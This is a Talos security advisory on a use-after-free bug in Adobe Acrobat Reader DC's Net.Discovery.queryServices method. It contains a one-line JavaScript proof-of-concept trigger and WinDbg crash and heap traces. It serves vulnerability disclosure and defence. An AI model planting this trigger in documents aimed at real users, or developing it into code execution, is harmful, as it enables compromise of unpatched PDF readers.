Talos Vulnerability Report

TALOS-2018-0517

Adobe Acrobat Reader DC Net.Discovery.queryServices Remote Code Execution Vulnerability

May 15, 2018
CVE Number

CVE-2018-4996

Summary

A specific Javascript script embedded in a PDF file can lead to a pointer to previously freed object to be reused when opening a PDF document in Adobe Acrobat Reader DC 2018.009.20044. With careful memory manipulation, this can potentially lead to sensitive memory disclosure or arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2018.009.20044

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

7.1 - CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. Adobe Acrobat Reader DC supports embedded Javascript scripts in the PDF to allow for interactive PDF forms. This give the potential attacker the ability to precisely control memory layout and poses additional attack surface. When executing a following piece of Javascript in a suitable PDF document, a Use-After-Free condition can be triggered:

try{this.Net.Discovery.queryServices( "", {} ); }catch(e){app.alert(e);}

With page heap enabled, this leads to a crash:

eax=17a6acb8 ebx=29464fe0 ecx=29464fe0 edx=771f6c74 esi=2a064fd8 edi=2a064fd0
eip=520e2961 esp=0031f01c ebp=0031f02c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
Annots!PlugInMain+0x9ea60:
520e2961 ff7318          push    dword ptr [ebx+18h]  ds:0023:29464ff8=????????
0:000>

The memory pointed to by ebx is freed an invalid, leading to a crash. The method Net.Discovery.queryServices requires privileges, and by default it would be blocked by security permissions. But if the source of the document is trusted, it will execute without problems and lead to a crash. In order to trigger a crash, the first argument needs to be an invalid service name. An empty string suffices.

If we track back the allocations, we can see that pointer in ebx is actually used as this in previous function calls. The pointer in ebx actually comes from an array of size 0x30 allocated at Annots!PlugInMain+0x4c01:

0:000> !heap -p -a eax
    address 292c2fd0 found in
    _DPH_HEAP_ROOT @ 191000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                292215b0:         292c2fd0               30 -         292c2000             2000
    6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77276206 ntdll!RtlDebugAllocateHeap+0x00000030
    7723a127 ntdll!RtlpAllocateHeap+0x000000c4
    77205950 ntdll!RtlAllocateHeap+0x0000023a
    62f8ed43 MSVCR120!malloc+0x00000049
    55848b02 Annots!PlugInMain+0x00004c01
    55848ab1 Annots!PlugInMain+0x00004bb0
    55a4ba1b Annots!PlugInMain+0x00207b1a
    558e1e29 Annots!PlugInMain+0x0009df28
    558e2308 Annots!PlugInMain+0x0009e407
    56b4267d EScript!mozilla::HashBytes+0x0004201b
    56b275b6 EScript!mozilla::HashBytes+0x00026f54
    56b217c2 EScript!mozilla::HashBytes+0x00021160
    56b205f0 EScript!mozilla::HashBytes+0x0001ff8e
    56b204fb EScript!mozilla::HashBytes+0x0001fe99
    56b20442 EScript!mozilla::HashBytes+0x0001fde0
    56b09e18 EScript!mozilla::HashBytes+0x000097b6
    56b48697 EScript!mozilla::HashBytes+0x00048035
    56b4841a EScript!mozilla::HashBytes+0x00047db8
    56b47e8d EScript!mozilla::HashBytes+0x0004782b
    56b46d7f EScript!mozilla::HashBytes+0x0004671d
    56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d
    6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf
    60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd
    601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31
    5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618
    5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16
    601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a
    5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f
    5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b
    5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b
    5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231

Setting a write access breakpoint on the dword where the final dereferenced pointer is stored reveals where it comes from:

0:000> ba w 4 292c2ffc
0:000> dd 292c2ffc
0:000> g
Breakpoint 6 hit
eax=29d26fe0 ebx=29d26fe0 ecx=55a494c0 edx=771f6c74 esi=28a2cff8 edi=292c2fd0
eip=55a49408 esp=0018c9e4 ebp=0018ca0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Annots!PlugInMain+0x205507:
55a49408 e86941e0ff      call    Annots!PlugInMain+0x9675 (5584d576)
0:000> dd 292c2ffc
292c2ffc  29d26fe0 ???????? ???????? ????????
0:000> !heap -p -a 29d26fe0
    address 29d26fe0 found in
    _DPH_HEAP_ROOT @ 191000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2a3221d4:         29d26fe0               1c -         29d26000             2000
    6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77276206 ntdll!RtlDebugAllocateHeap+0x00000030
    7723a127 ntdll!RtlpAllocateHeap+0x000000c4
    77205950 ntdll!RtlAllocateHeap+0x0000023a
    62f8ed43 MSVCR120!malloc+0x00000049
    55848b02 Annots!PlugInMain+0x00004c01
    55848ab1 Annots!PlugInMain+0x00004bb0
    558e22e7 Annots!PlugInMain+0x0009e3e6
    56b4267d EScript!mozilla::HashBytes+0x0004201b
    56b275b6 EScript!mozilla::HashBytes+0x00026f54
    56b217c2 EScript!mozilla::HashBytes+0x00021160
    56b205f0 EScript!mozilla::HashBytes+0x0001ff8e
    56b204fb EScript!mozilla::HashBytes+0x0001fe99
    56b20442 EScript!mozilla::HashBytes+0x0001fde0
    56b09e18 EScript!mozilla::HashBytes+0x000097b6
    56b48697 EScript!mozilla::HashBytes+0x00048035
    56b4841a EScript!mozilla::HashBytes+0x00047db8
    56b47e8d EScript!mozilla::HashBytes+0x0004782b
    56b46d7f EScript!mozilla::HashBytes+0x0004671d
    56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d
    6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf
    60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd
    601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31
    5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618
    5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16
    601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a
    5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f
    5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b
    5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b
    5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231
    5fb860d4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014ba4
    5fb85688 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014158

This 0x1c chunk of memory is subsequently freed but is later reused resulting in a crash:

(c20.5e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=17d2acb8 ebx=29d26fe0 ecx=29d26fe0 edx=771f6c74 esi=292c2fd8 edi=292c2fd0
eip=558e2961 esp=0018eee8 ebp=0018eef8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
Annots!PlugInMain+0x9ea60:
558e2961 ff7318          push    dword ptr [ebx+18h]  ds:0023:29d26ff8=????????
0:000> dd ebx
29d26fe0  ???????? ???????? ???????? ????????
29d26ff0  ???????? ???????? ???????? ????????
29d27000  ???????? ???????? ???????? ????????
29d27010  ???????? ???????? ???????? ????????
29d27020  ???????? ???????? ???????? ????????
29d27030  ???????? ???????? ???????? ????????
29d27040  ???????? ???????? ???????? ????????
29d27050  ???????? ???????? ???????? ????????

With page heap disabled, this stale pointer dereference will usually succeed and result in further memory corruption. With proper memory layout manipulation, it could be abused to achieve arbitrary code execution.

Do note that in order for the PoC to trigger this memory corruption, the PoC file needs to be added to trusted locations list in “Security(Enhanced)” in preferences.

Timeline

2018-01-23 - Vendor Disclosure
2018-05-15 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.